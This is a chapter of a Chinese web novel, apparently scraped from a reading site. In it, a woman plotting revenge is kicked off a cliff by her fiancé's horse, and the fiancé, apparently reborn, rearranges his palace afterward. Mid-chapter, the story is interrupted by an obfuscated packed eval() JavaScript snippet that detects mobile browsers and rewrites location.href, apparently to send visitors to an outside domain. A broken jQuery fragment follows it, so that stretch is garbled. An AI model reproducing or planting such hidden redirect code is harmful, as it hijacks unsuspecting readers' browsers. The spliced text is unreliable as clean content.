默认冷灰
24号文字
方正启体

2. 正文:俊俊的报复

作者:荷桃粥本书字数:K更新时间:
    季临渊学她说话,却刮了一下她的鼻子,虽埋怨她只过问宴请宾客一项,却话锋一转:“其实不必学这些耍娇的招数,忘了也无妨。我本就爱你从前的性子……”


    她笑盈盈倚在他怀中,目光却飘向别处。听着单方面沉浸于热恋中的季临渊倾诉:“你近来娇气了许多,像变了个人,反让我觉得有些不真实……可无论你变成什么模样,我都爱你……”


    他说,若她变成蟑螂,就将她好生养起,不叫人踩踏;若为麻雀,便修筑园林只容她栖居;若成疯子,就随她心意行事,错了,由他承担。


    这么没有底线的话,让长乐彻底怔住,趁势要他立誓。


    “你若不信,可以一遍遍向我确认。”


    季临渊忽然将她横抱而起,大步踏入内殿。


    他胸膛温热,步履沉稳,将她轻轻置于罗汉榻上,从桌上取来一只木盒。


    其中盛着一串玉坠项链,并一条金丝点翠手链。


    因长乐腕上原戴一枚银铃,执意不肯摘。他便为她系上玉坠,端详片刻,柔声道:“好看。”


    “这些是从我母亲遗物中悄悄留下的。她故去那年,父王称见物伤情,令人将旧物尽数焚毁……唯这两件被我藏起。他即便见过,也未记起,只以为是我妹妹雨芙之物。”


    他望入她眼睛,郑重道:“虽不及聘礼中的珠玉贵重,也不比阿澈为你打造的器物精巧,却是我生母仅存的遗物。”


    长乐眼眶微涩,心下烦乱:“既是仅存的,我怎能收?”


    “你必须收下。”他轻吻她额头,“你我本是同病相怜。从今往后,我母亲便是你母亲。这物件,要托你传下去。”


    长乐心想:去你的,谁稀罕和你同一个娘!


    可心口却像滚进一颗酸梅,泛起密密麻麻的涩痛。


    眼前人鼻梁高挺,眉目如画,英气逼人,偏偏与她恨入骨髓的那人有三分相像。


    “我不懂如何讨女子欢心,唯能以金玉相赠。这已是我所能想到的最大诚意。”他执起她的手按在自己心口,“成婚之后,我所有一切,皆与你同享。”


    这一刻,长乐确有片刻恍惚。一点微末的感动,大约够她缓缓眨十次眼。


    她强压下心绪——这男人日后也要杀的,心软不得。


    唯有一个例外:若他肯亲手了结他那父王,她或可看在贺兰澈的份上,饶他一命。


    却见季临渊又陷入遐想:“我邺城子嗣不旺,我又只娶你一人,往后怕难有十个八个孩儿。但三五个也好,父王定然欢喜。其实男女皆可,若得女儿,我也为她立一部《男德经》……”


    哼,孝子,大孝子!


    想得倒很美,如今被她骗得团团转。


    婚仪,只差最后一项准备了。


    快结束吧!这诈骗的人生!


    长乐唇边掠过一丝讥诮,掌心不着痕迹地覆上小腹:“三五个?你也要有这本事才行……”


    她身中奇蛊,得百毒不侵之体,这正是邺王等人梦寐以求的——能令人伤愈神速,其血可毒人亦可救人的秘术。


    现今天下,只有她和她亲爹,还有药王才知道的秘密。


    但起死回生乃世人讹传,能容光焕发却是不假。最重要的是,能令男子精气断绝,女子经水枯竭,再难孕育子嗣。


    ……


    可季临渊还沉浸在她上一句话里。


    不怕对牛弹琴,就怕牛对你弹琴。


    同季临渊说话定要谨慎,他脑中补出的情节,常与她本意相去甚远。


    此刻,他的眼神明明白白写着,他要吻她。


    “殿下既提及子嗣,我倒忽然想起一桩事。”长乐不着痕迹地后仰,“不知你父王可还有生育之能?说不准日后还能为你添几个小王弟小王妹,将来与你孩儿一同长大!叫你邺城人丁兴旺!”


    “殿下年纪尚轻,带弟弟妹妹正合适。”


    “……”


    季临渊的兴致终于被她浇灭,放开了她。


    好险,好险。


    长乐却又突然缠上来:“殿下,我想去学骑马。”


    “骑马?”


    “将来要与你同赴天下,怎能不会骑马呢。”


    没费多少口舌,季临渊便欣然答应,甚至欣赏她“飒爽独立”的模样。


    实则,婚仪的最后一项准备,便是要悄悄在淋琊山庄布下她的逃生软藤阵。


    原本她并不需要这逃生之阵。


    自十年前满门尽丧、立誓复仇起,她便想好了:复完仇,便自尽。


    是这些年贺兰澈一封又一封信、一盏又一盏灯,陪她一点点扭转了死志。


    让她觉得,即便失去味觉、不知冷暖的活着……也还不错。


    为这阵法,长乐才想了学骑马的借口。


    *


    幸而季临渊政务繁忙,不能日日相陪。但他还是特地抽空,带她去了后山的毛毛马场为她选马。


    试遍全场,不得不承认,还是季临渊那匹名叫“俊俊”的金骏马最为神骏,不愧是马中翘楚。


    “这匹与我有缘,自从前在船上时就常亲近我,就让它陪我练练吧。”


    “你若骑它,我骑什么?”季临渊虽有不舍,却最终应允,抚着马鬃嘱咐:“俊俊,从今往后,她也是你的主人。明白吗?”


    金骏马丢来一个“你疯了还是我疯了”的眼神,才认命朝长乐屈膝伏下。


    整个初秋,金骏马日日都被长乐拉练。


    看她运起轻功攀上崖壁,陪她缠两三根软藤即返。


    季临渊不在时,长乐才发觉这马极会看人下菜碟。它专寻料峭处,故意狂奔,存心吓唬她。


    “俊俊,难道你和我在船上共度的美好时光,都是假的吗?”


    对,假的,都是假的。


    金骏马明明白白甩给她一个白眼。


    “我的药,已经炼好了——到时候你那个花孔雀主子,也会这样问我。”


    长乐温柔地抚摸着金骏马的耳朵,学着季临渊的口吻:“难道峰顶相伴、船中共度、还有这些时日的温情……全都是假的吗?”


    “我会告诉他,都是假的。”


    “其实我亲生爹爹并不是药王。我爹也曾在无相陵养过许多小马,虽不及你英伟健壮、血统高贵,但——”她话锋一转,“但你也不要太骄傲,俊俊,我家从前那些马儿,比你温顺可爱万倍。”


    “小时候,我有一匹小白马,长得比你这种红棕色的好看得多。”


    “你想知道它的下场吗?”


    长乐拎起金骏马的耳朵,声音蓦然一沉。


    “它被熊蛮杀了。”


    “那个暴戾的畜生……徒手撕了我的马。”


    说到这儿,她眼底的痛苦与疯狂再难掩饰,挥手间一枚暗器射出,削断一条软藤。


    “满门血仇,不共戴天,何谈原谅?”


    “很快了,很快了——俊俊,你最好能来参加婚仪,亲眼看着我是如何活剐他们……叫他们往后求生不得、求死不能。”


    她自顾自说了半天婚宴上的计划,才突然回过神来:“都说马会托梦,你知道我全部的计划,该不会向季临渊告密吧?”


    霎时间她眼神转狠,戾气陡生,狠狠捧住金骏马的脸:“若你敢出卖我!我连你一起杀!!!”


    金骏马沉默地与她对视良久,她才又渐渐恢复无奈又无辜的模样。


    叹口气。


    “算了,你只是一匹马,关你什么事呢?”


    “你若真会托梦,便告诉他,早日弃暗投明……”


    暮晚归程,斜阳昏黄,长乐情绪低落。


    她望着喜台高搭,红绸如云,御卫们往来运送建材。


    “念你近日助我任劳任怨,届时我便给他一个痛快。只捅一刀,若能活下来,便是他的命。”


    “若活不下来,我亲手火化他,助他下辈子投个好胎。”


    ……


    金骏马却半天没动静。


    等她转过头时,看见金骏马龇牙尥蹄,朝她而来——稳、准、狠,踹中了她的脑袋。


    她整个人从崖边滚落,跌进自己亲手搭的软藤阵里,一路翻滚,最终坠入山谷,没了声息。


    啊,好爽,好解气——假如金骏马会说话。


    它早就想这么干了!


    *


    *


    *


    一袭月白长衣,金带束发。


    季长公子静立于栖梧宫的阴影之中,已伫立良久。


    晨风大统领刚打发走一拨探问的人,回头见自家长公子仍在出神。


    长乐神医坠崖的消息被严密封锁,不敢走漏半分风声。


    若贺兰公子从天师观得知消息,还不知会闹成何等局面……


    倘若再传出去,无论被晋国朝廷还是药王谷知晓,后果都不堪设想。


    只盼她能早日康复——这事,终究瞒不住。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549304|186753||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    天地间忽然狂风大作。因前些时日刚经历过地震,此刻不免令人疑为余震。


    真真是多事之秋。


    风止。


    却无事发生。


    只有晨风莫名觉得,近来长公子仿佛变了个人。或许是因担忧长乐神医过甚,竟磨去了他素日的傲气戾骨。


    晨风正沉思这份变化是从何时开始的,却听见长公子低声问道:“若老天许你回到一生中最怀念之时,你会做什么?”


    能回到最怀念的时候?


    “自是珍惜每一日。”晨风脱口而出。


    “是啊。”长公子轻叹口薄气,眼底倏地泛红。


    晨风一时摸不着头脑。


    未婚妻坠崖昏迷,婚仪恐难举行,还需面对晋国、药王谷乃至贺兰澈的问责——这怎算得上“最怀念之时”?


    肇事的金骏马已被关押。这匹常伴长公子出巡的爱马,此番突然发狂,实在蹊跷。


    长公子仍望天出神,晨风也不敢多问。


    直至殿门推开,御医躬身退出,晨风不得不低声提醒:“殿下,御医已为神医诊视完毕。”


    季临渊敛起心神,整衣回身。听着御医禀报那早已在梦中知晓的诊断结果,他丝毫不觉意外。


    “髓海受损,血瘀滞结、心神失养,恐会健忘、失忆。”


    其实,他比这些御医知道得更多。


    她会忘却幼年痛楚,也遗落所有情愫。


    可她终会想起。


    季临渊明白,从此以后,时不我待,只争朝夕。


    “都退下吧。”他刚交代完,忽又改口,“晨风,等等。”


    晨风本要告退,闻声回身。


    却见长公子竟亲自走上前,伸手将他盔上的翎羽取下。


    “传令:此后所有御卫,近栖梧宫时,皆不得佩戴翎羽。”


    ?


    这命令着实古怪。按邺城惯例,王上麾下的黑骑,盔上皆佩一根黑金鸡毛;长公子与二公子统领的精御卫,则佩一根红金鸡毛。


    “安排一队人捕鸟,栖梧宫从此也不得有鸟类靠近。”


    不待晨风参透主子的意图,又听见长公子道:“栖梧宫此后不必留侍婢,每日只遣人洒扫除尘即可。其余时候,皆远离神医。”


    哦,晨风似懂非懂了。


    见长公子一副恨不得亲自搬过来住的倒贴模样,他犹豫道:“可王上那边……”


    “不必管他。”


    啊?!


    什么?


    长公子见下属面露惊囧,忽然想起,前世此时的自己还对父王言听计从。


    他重申道:“父王……要往栖梧宫派人,须先报我。其余事,皆不必理会他。只说一切以不打扰神医静养为重。”


    这素来以孝闻名的长公子,怕是真疯了。


    接着,长公子取下一枚紫金令,压低声音:“你亲自去办件事,派一队黑骑到天师观去……将、将……”


    晨风更见长公子拧眉思索,终是狠下心来:“先将阿澈关起来!”


    啊?!


    疯了,真是疯了!


    从小到大,长公子、二公子便与贺兰公子义结金兰,情同手足。莫说是关押,长公子就连一句重话都未曾对贺兰澈说过。


    那崽也是个痴心倒贴长乐神医的佳话,比自家长公子要早,要闻达于天下万倍!


    更棘手的是,贺兰澈是神机营大军师之侄,手持有浑天枢这等神兵偃甲,岂是说关就能关得住的?


    好在长公子似早有所料,随即补道:“他内力差,你命黑骑先卸去他的浑天枢,再关人……切记,捆结实些,却不可令他受伤。另外——严防宫中任何人传信天师观。”


    待手头要事处理完毕,他会亲自去见阿澈。


    季临渊已下定决心,绝不会再如上一世那般拖延隐瞒、等他自行撞破这桩婚事。他要堂堂正正地告诉他:是,我就是爱上了你的心上人。


    此生此世,绝不放手。


    ……


    晨风心中虽骇浪翻涌,面上却依旧平静如水,只抽搐嘴角应道:“属下明白,绝不让三少主知晓。”


    素知长公子手段果决、雷厉风行,晨风当即领命退下。


    临去之际,他却瞥见长公子面向殿门,几度踌躇,唇瓣微颤,眼眶隐隐泛红。


    良久,季临渊终是稳下心神,似做好万全准备,才举步迈入殿中——


    去见她。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)